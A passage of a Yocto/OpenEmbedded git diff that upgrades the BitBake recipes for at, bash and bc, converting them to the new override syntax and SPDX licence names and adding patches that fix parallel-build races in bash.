- file://0001-remove-glibc-assumption.patch \
- "
-
-PAM_SRC_URI = "file://pam.conf.patch \
- file://configure-add-enable-pam.patch"
-
-SRC_URI[md5sum] = "1cec945506b5ddf1d776c92c315fc581"
-SRC_URI[sha256sum] = "97450aa954aaa8a70218cc8e61a33df9fee9f86527e9f861de302fb7a3c81710"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/at/"
-
-EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
- --with-daemon_username=root \
- --with-daemon_groupname=root \
- --with-jobdir=/var/spool/at/jobs \
- --with-atspool=/var/spool/at/spool \
- ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
-
-inherit autotools-brokensep systemd update-rc.d
-
-INITSCRIPT_NAME = "atd"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "atd.service"
-
-copy_sources() {
- cp -f ${WORKDIR}/posixtm.[ch] ${S}
-}
-do_patch[postfuncs] += "copy_sources"
-
-do_install () {
- oe_runmake -e "IROOT=${D}" install
-
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
-
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service
-
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
- fi
-}
diff --git a/meta/recipes-extended/at/at_3.2.5.bb b/meta/recipes-extended/at/at_3.2.5.bb
new file mode 100644
index 0000000000..6769eb364b
--- /dev/null
+++ b/meta/recipes-extended/at/at_3.2.5.bb
@@ -0,0 +1,74 @@
+SUMMARY = "Delayed job execution and batch processing"
+HOMEPAGE = "http://blog.calhariz.com/"
+DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
+the system load levels drop to a particular level."
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
+DEPENDS = "flex flex-native bison-native \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+
+PACKAGECONFIG ?= "\
+ ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
+"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
+
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
+"
+
+PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
+
+RCONFLICTS:${PN} = "atd"
+RREPLACES:${PN} = "atd"
+
+SRC_URI = "http://software.calhariz.com/at/${BPN}_${PV}.orig.tar.gz \
+ file://posixtm.c \
+ file://posixtm.h \
+ file://file_replacement_with_gplv2.patch \
+ file://atd.init \
+ file://atd.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://makefile-fix-parallel.patch \
+ file://0001-remove-glibc-assumption.patch \
+ "
+
+PAM_SRC_URI = "file://pam.conf.patch \
+ file://configure-add-enable-pam.patch"
+
+SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8"
+
+EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
+ --with-daemon_username=root \
+ --with-daemon_groupname=root \
+ --with-jobdir=/var/spool/at/jobs \
+ --with-atspool=/var/spool/at/spool \
+ ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
+
+inherit autotools-brokensep systemd update-rc.d
+
+INITSCRIPT_NAME = "atd"
+INITSCRIPT_PARAMS = "defaults"
+
+SYSTEMD_SERVICE:${PN} = "atd.service"
+
+do_configure:prepend() {
+ cp -f ${WORKDIR}/posixtm.[ch] ${S}
+}
+
+do_install () {
+ oe_runmake -e "IROOT=${D}" install
+
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
+
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
+ fi
+ rm -f ${D}${datadir}/at/batch-job
+}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
index 039b8687a2..18874a0e24 100644
--- a/meta/recipes-extended/bash/bash.inc
+++ b/meta/recipes-extended/bash/bash.inc
@@ -1,12 +1,13 @@
SUMMARY = "An sh-compatible command language interpreter"
HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
+DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
SECTION = "base/shell"
DEPENDS = "ncurses bison-native virtual/libiconv"
inherit autotools gettext texinfo update-alternatives ptest
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=aclocal"
+EXTRA_AUTORECONF += "--exclude=autoheader"
EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8"
# If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the
@@ -14,19 +15,25 @@ EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_o
# This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137.
CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS"
-ALTERNATIVE_${PN} = "bash sh"
+# This can vary depending upon the host
+CFLAGS += "-DHEREDOC_PIPESIZE=65536"
+
+# Disable bracketed paste mode by default (enabled by default in bash 5.1). It
+# causes a lot of garbage in non-interactive shells
+CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
+
+ALTERNATIVE:${PN} = "bash sh"
ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "base-files"
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
+RDEPENDS:${PN} += "base-files"
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
-DEPENDS_append_libc-glibc = " virtual/libc-locale"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " \
+RDEPENDS:${PN}-ptest:append:libc-glibc = " \
glibc-gconv-big5hkscs \
glibc-gconv-iso8859-1 \
glibc-utils \
@@ -39,7 +46,13 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = " \
CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
-do_compile_prepend() {
+do_configure:prepend () {
+ if [ ! -e ${S}/acinclude.m4 ]; then
+ cat ${S}/aclocal.m4 > ${S}/acinclude.m4
+ fi
+}
+
+do_compile:prepend() {
# Remove any leftover .build files. This ensures that bash always has the
# same version number and keeps builds reproducible
rm -f ${B}/.build
@@ -49,14 +62,19 @@ do_compile_ptest () {
oe_runmake buildtest
}
-do_install_append () {
+do_install:prepend () {
+ # Ensure determinism as this counter increases for each make call
+ rm -f ${B}/.build
+}
+
+do_install:append () {
# Move /usr/bin/bash to /bin/bash, if need
if [ "${base_bindir}" != "${bindir}" ]; then
mkdir -p ${D}${base_bindir}
mv ${D}${bindir}/bash ${D}${base_bindir}
fi
}
-do_install_append_class-target () {
+do_install:append:class-target () {
# Clean buildhost references in bashbug
sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e "s,-I${WORKDIR}/\S* ,,g" \
@@ -78,6 +96,9 @@ do_install_append_class-target () {
do_install_ptest () {
make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ cp ${B}/version.h ${D}${PTEST_PATH}
+ cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e 's|${DEBUG_PREFIX_MAP}||g' \
@@ -91,20 +112,20 @@ do_install_ptest () {
# hash
do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
PACKAGES += "${PN}-bashbug"
-FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
-FILES_${PN}-bashbug = "${bindir}/bashbug"
+FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
+FILES:${PN}-bashbug = "${bindir}/bashbug"
PACKAGE_BEFORE_PN += "${PN}-loadable"
-RDEPENDS_${PN}-loadable += "${PN}"
-FILES_${PN}-loadable += "${libdir}/bash/*"
+RDEPENDS:${PN}-loadable += "${PN}"
+FILES:${PN}-loadable += "${libdir}/bash/*"
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
index 5f2dae94a1..ea38bace9b 100644
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ b/meta/recipes-extended/bash/bash/build-tests.patch
@@ -1,19 +1,24 @@
-Add 'ptest' target to Makefile, to run tests without checking dependencies.
+From 318b762837c2ad25319caeaf0320eff613b64daf Mon Sep 17 00:00:00 2001
+From: Anders Roxell <anders.roxell@enea.com>
+Date: Wed, 19 Dec 2012 17:18:31 +0100
+Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
+ dependencies.
Upstream-Status: Pending
Signed-off-by: Anders Roxell <anders.roxell@enea.com>
Rebase to 5.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
Makefile.in | 24 +++++++++++++++++++-----
1 file changed, 19 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 5fcb44b..de1c255 100644
+index bc97049..937ce39 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -932,20 +932,34 @@ maybe-clean:
+@@ -943,20 +943,34 @@ maybe-clean:
fi
recho$(EXEEXT): $(SUPPORT_SRC)recho.c
@@ -51,8 +56,5 @@ index 5fcb44b..de1c255 100644
+
+runtest:
@( cd $(srcdir)/tests && \
- PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
+ BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
---
-2.7.4
-
diff --git a/meta/recipes-extended/bash/bash/makerace.patch b/meta/recipes-extended/bash/bash/makerace.patch
new file mode 100644
index 0000000000..9bd7c280fe
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/makerace.patch
@@ -0,0 +1,52 @@
+We're seeing pipesize.h being created in parallel:
+
+/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h
+/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h
+
+./mkbuiltins -D ../../bash-5.1/builtins ../../bash-5.1/builtins/ulimit.def
+x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -c -DHAVE_CONFIG_H -DSHELL -I. -I.. -I../../bash-5.1 -I../../bash-5.1/include -I../../bash-5.1/lib -I../../bash-5.1/builtins -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= ulimit.c || ( rm -f ulimit.c ; exit 1 )
+make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins'
+rm -f redir.o
+x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -DPROGRAM='"bash"' -DCONF_HOSTTYPE='"x86_64"' -DCONF_OSTYPE='"linux-gnu"' -DCONF_MACHTYPE='"x86_64-pokysdk-linux-gnu"' -DCONF_VENDOR='"pokysdk"' -DLOCALEDIR='"/opt/poky/3.2+snapshot/sysroots/x86_64-pokysdk-linux/usr/share/locale"' -DPACKAGE='"bash"' -DSHELL -DHAVE_CONFIG_H -I. -I../bash-5.1 -I../bash-5.1/include -I../bash-5.1/lib -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= -c ../bash-5.1/redir.c
+In file included from ../../bash-5.1/builtins/../../bash-5.1/builtins/ulimit.def:95:
+pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token
+ 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy
+ | ^
+make[1]: *** [Makefile:119: ulimit.o] Error 1
+make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins'
+make: *** [Makefile:737: builtins/libbuiltins.a] Error 1
+make: *** Waiting for unfinished jobs....
+In file included from ../bash-5.1/redir.c:61:
+./builtins/pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token
+ 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy
+ | ^
+make: *** [Makefile:101: redir.o] Error 1
+WARNING: exit code 1 from a shell command.
+
+which happens since builtins/ulimit.o depends on pipesize.h as well as a top
+level dependency. This means:
+
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1
+
+races with:
+
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) DEBUG=${DEBUG} targets ) || exit 1
+
+Hack around this by forcing BUILTINS_LIBRARY onto pipesize.h as a dependency.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-bash/2021-01/msg00152.html]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: bash-5.1/Makefile.in
+===================================================================
+--- bash-5.1.orig/Makefile.in
++++ bash-5.1/Makefile.in
+@@ -746,7 +746,7 @@ ${DEFDIR}/bashgetopt.o: $(BUILTIN_SRCDIR
+ ${DEFDIR}/builtext.h: $(BUILTIN_DEFS)
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) builtext.h ) || exit 1
+
+-${DEFDIR}/pipesize.h:
++${DEFDIR}/pipesize.h: $(BUILTINS_LIBRARY)
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1
+
+ $(SDIR)/man2html$(EXEEXT): ${SUPPORT_SRC}/man2html.c
diff --git a/meta/recipes-extended/bash/bash/makerace2.patch b/meta/recipes-extended/bash/bash/makerace2.patch
new file mode 100644
index 0000000000..43cdd04157
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/makerace2.patch
@@ -0,0 +1,98 @@
+The main makefile can call mkbuiltins from multiple different codepaths in parallel.
+When called, it moves the existing files out the way and creates new ones, then
+compares which will break the build if timing is unlucky.
+
+The root of the problem is mkbuiltins.c creating a file but also referencing that
+file under the same name. By modifing it to allow the final name and the temp name
+to be specified, we can avoid the original reason for the moving of files around.
+This allows them to be created under a new name and then replaced if changed,
+removing any race windows around accessing the files whilst they've been
+moved or are being rewritten.
+
+See [YOCTO #14227]
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: bash-5.1.8/builtins/Makefile.in
+===================================================================
+--- bash-5.1.8.orig/builtins/Makefile.in
++++ bash-5.1.8/builtins/Makefile.in
+@@ -185,19 +185,17 @@ gen-helpfiles: tmpbuiltins.o gen-helpfil
+ $(CC_FOR_BUILD) ${CCFLAGS_FOR_BUILD} $(LDFLAGS_FOR_BUILD) -o $@ gen-helpfiles.o tmpbuiltins.o $(LIBS_FOR_BUILD)
+
+ builtext.h builtins.c: $(MKBUILTINS) $(DEFSRC)
+- @-if test -f builtins.c; then mv -f builtins.c old-builtins.c; fi
+- @-if test -f builtext.h; then mv -f builtext.h old-builtext.h; fi
+- ./$(MKBUILTINS) -externfile builtext.h -structfile builtins.c \
++ ./$(MKBUILTINS) -externfile builtext-new.h -externfinalfile builtext.h -structfile builtins-new.c \
+ -noproduction $(DIRECTDEFINE) $(HELPDIRDEFINE) $(HELPSTRINGS) $(DEFSRC)
+- @-if cmp -s old-builtext.h builtext.h 2>/dev/null; then \
+- mv old-builtext.h builtext.h; \
++ @-if ! cmp -s builtext.h builtext-new.h 2>/dev/null; then \
++ mv builtext-new.h builtext.h; \
+ else \
+- $(RM) old-builtext.h; \
++ $(RM) builtext-new.h; \
+ fi
+- @-if cmp -s old-builtins.c builtins.c 2>/dev/null; then \
+- mv old-builtins.c builtins.c; \
++ @-if ! cmp -s builtins.c builtins-new.c 2>/dev/null; then \
++ mv builtins-new.c builtins.c; \
+ else \
+- $(RM) old-builtins.c; \
++ $(RM) builtins-new.c; \
+ fi
+
+ helpdoc: gen-helpfiles
+Index: bash-5.1.8/builtins/mkbuiltins.c
+===================================================================
+--- bash-5.1.8.orig/builtins/mkbuiltins.c
++++ bash-5.1.8/builtins/mkbuiltins.c
+@@ -113,6 +113,9 @@ char *struct_filename = (char *)NULL;
+ /* The name of the external declaration file. */
+ char *extern_filename = (char *)NULL;
+
++/* The final name of the external declaration file. */
++char *extern_final_filename = (char *)NULL;
++
+ /* Here is a structure for manipulating arrays of data. */
+ typedef struct {
+ int size; /* Number of slots allocated to array. */
+@@ -230,6 +233,8 @@ main (argc, argv)
+
+ if (strcmp (arg, "-externfile") == 0)
+ extern_filename = argv[arg_index++];
++ else if (strcmp (arg, "-externfinalfile") == 0)
++ extern_final_filename = argv[arg_index++];
+ else if (strcmp (arg, "-structfile") == 0)
+ struct_filename = argv[arg_index++];
+ else if (strcmp (arg, "-noproduction") == 0)
+@@ -273,6 +278,9 @@ main (argc, argv)
+ }
+ }
+
++ if (!extern_final_filename)
++ extern_final_filename = extern_filename;
++
+ /* If there are no files to process, just quit now. */
+ if (arg_index == argc)
+ exit (0);
+@@ -1174,7 +1182,7 @@ write_file_headers (structfile, externfi
+ fprintf (structfile, "%s\n", structfile_header[i]);
+
+ fprintf (structfile, "#include \"%s\"\n",
+- extern_filename ? extern_filename : "builtext.h");
++ extern_final_filename ? extern_final_filename : "builtext.h");
+
+ fprintf (structfile, "#include \"bashintl.h\"\n");
+
+@@ -1184,7 +1192,7 @@ write_file_headers (structfile, externfi
+ if (externfile)
+ fprintf (externfile,
+ "/* %s - The list of builtins found in libbuiltins.a. */\n",
+- extern_filename ? extern_filename : "builtext.h");
++ extern_final_filename ? extern_final_filename : "builtext.h");
+ }
+
+ /* Write out any necessary closing information for
diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch
new file mode 100644
index 0000000000..bebaa08bfe
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/use_aclocal.patch
@@ -0,0 +1,59 @@
+Including m4 files directly like this confuses autotools.bbclass, remove
+the references and rely upon aclocal to collect the m4 files together
+as needed instead making it work like other autotools based projects.
+
+Upstream-Status: Inappropriate [OE configuration specific]
+RP 2021/1/20
+
+Index: bash-5.1/configure.ac
+===================================================================
+--- bash-5.1.orig/configure.ac
++++ bash-5.1/configure.ac
+@@ -688,47 +688,6 @@ if test x$SIZE = x; then
+ fi
+ AC_SUBST(SIZE)
+
+-m4_include([m4/stat-time.m4])
+-m4_include([m4/timespec.m4])
+-
+-dnl include files for gettext
+-
+-m4_include([m4/codeset.m4])
+-m4_include([m4/extern-inline.m4])
+-m4_include([m4/fcntl-o.m4])
+-m4_include([m4/gettext.m4])
+-m4_include([m4/glibc2.m4])
+-m4_include([m4/glibc21.m4])
+-m4_include([m4/host-cpu-c-abi.m4])
+-m4_include([m4/iconv.m4])
+-m4_include([m4/intdiv0.m4])
+-m4_include([m4/intl.m4])
+-m4_include([m4/intlmacosx.m4])
+-m4_include([m4/intl-thread-locale.m4])
+-m4_include([m4/intmax.m4])
+-m4_include([m4/inttypes-pri.m4])
+-m4_include([m4/inttypes.m4])
+-m4_include([m4/inttypes_h.m4])
+-m4_include([m4/lcmessage.m4])
+-m4_include([m4/lib-ld.m4])
+-m4_include([m4/lib-link.m4])
+-m4_include([m4/lib-prefix.m4])
+-m4_include([m4/lock.m4])
+-m4_include([m4/nls.m4])
+-m4_include([m4/po.m4])
+-m4_include([m4/printf-posix.m4])
+-m4_include([m4/progtest.m4])
+-m4_include([m4/pthread_rwlock_rdlock.m4])
+-m4_include([m4/size_max.m4])
+-m4_include([m4/stdint_h.m4])
+-m4_include([m4/threadlib.m4])
+-m4_include([m4/uintmax_t.m4])
+-m4_include([m4/ulonglong.m4])
+-m4_include([m4/visibility.m4])
+-m4_include([m4/wchar_t.m4])
+-m4_include([m4/wint_t.m4])
+-m4_include([m4/xsize.m4])
+-
+ dnl Turn on any extensions available in the GNU C library.
+ AC_DEFINE(_GNU_SOURCE, 1)
+
diff --git a/meta/recipes-extended/bash/bash_5.0.bb b/meta/recipes-extended/bash/bash_5.0.bb
deleted file mode 100644
index eadc82279d..0000000000
--- a/meta/recipes-extended/bash/bash_5.0.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-require bash.inc
-
-# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-001;apply=yes;striplevel=0;name=patch001 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-002;apply=yes;striplevel=0;name=patch002 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-003;apply=yes;striplevel=0;name=patch003 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-004;apply=yes;striplevel=0;name=patch004 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-005;apply=yes;striplevel=0;name=patch005 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-006;apply=yes;striplevel=0;name=patch006 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-007;apply=yes;striplevel=0;name=patch007 \
- file://execute_cmd.patch \
- file://mkbuiltins_have_stringize.patch \
- file://build-tests.patch \
- file://test-output.patch \
- file://run-ptest \
- file://run-bash-ptests \
- file://fix-run-builtins.patch \
- "
-
-SRC_URI[tarball.md5sum] = "2b44b47b905be16f45709648f671820b"
-SRC_URI[tarball.sha256sum] = "b4a80f2ac66170b2913efbfb9f2594f1f76c7b1afd11f799e22035d63077fb4d"
-
-SRC_URI[patch001.md5sum] = "b026862ab596a5883bb4f0d1077a3819"
-SRC_URI[patch001.sha256sum] = "f2fe9e1f0faddf14ab9bfa88d450a75e5d028fedafad23b88716bd657c737289"
-SRC_URI[patch002.md5sum] = "2f4a7787365790ae57f36b311701ea7e"
-SRC_URI[patch002.sha256sum] = "87e87d3542e598799adb3e7e01c8165bc743e136a400ed0de015845f7ff68707"
-SRC_URI[patch003.md5sum] = "af7f2dd93fd5429fb5e9a642ff74f87d"
-SRC_URI[patch003.sha256sum] = "4eebcdc37b13793a232c5f2f498a5fcbf7da0ecb3da2059391c096db620ec85b"
-SRC_URI[patch004.md5sum] = "b60545b273bfa4e00a760f2c648bed9c"
-SRC_URI[patch004.sha256sum] = "14447ad832add8ecfafdce5384badd933697b559c4688d6b9e3d36ff36c62f08"
-SRC_URI[patch005.md5sum] = "875a0bedf48b74e453e3997c84b5d8a4"
-SRC_URI[patch005.sha256sum] = "5bf54dd9bd2c211d2bfb34a49e2c741f2ed5e338767e9ce9f4d41254bf9f8276"
-SRC_URI[patch006.md5sum] = "4a8ee95adb72c3aba03d9e8c9f96ece6"
-SRC_URI[patch006.sha256sum] = "d68529a6ff201b6ff5915318ab12fc16b8a0ebb77fda3308303fcc1e13398420"
-SRC_URI[patch007.md5sum] = "411560d81fde2dc5b17b83c3f3b58c6f"
-SRC_URI[patch007.sha256sum] = "17b41e7ee3673d8887dd25992417a398677533ab8827938aa41fad70df19af9b"
-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bash/bash_5.1.16.bb b/meta/recipes-extended/bash/bash_5.1.16.bb
new file mode 100644
index 0000000000..d046faa4e5
--- /dev/null
+++ b/meta/recipes-extended/bash/bash_5.1.16.bb
@@ -0,0 +1,25 @@
+require bash.inc
+
+# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
+ file://execute_cmd.patch \
+ file://mkbuiltins_have_stringize.patch \
+ file://build-tests.patch \
+ file://test-output.patch \
+ file://run-ptest \
+ file://run-bash-ptests \
+ file://fix-run-builtins.patch \
+ file://use_aclocal.patch \
+ file://makerace.patch \
+ file://makerace2.patch \
+ "
+
+SRC_URI[tarball.sha256sum] = "5bac17218d3911834520dad13cd1f85ab944e1c09ae1aba55906be1f8192f558"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb
index 4a51302492..1bec76bb2a 100644
--- a/meta/recipes-extended/bc/bc_1.07.1.bb
+++ b/meta/recipes-extended/bc/bc_1.07.1.bb
@@ -1,7 +1,8 @@
SUMMARY = "Arbitrary precision calculator language"
HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
+DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \
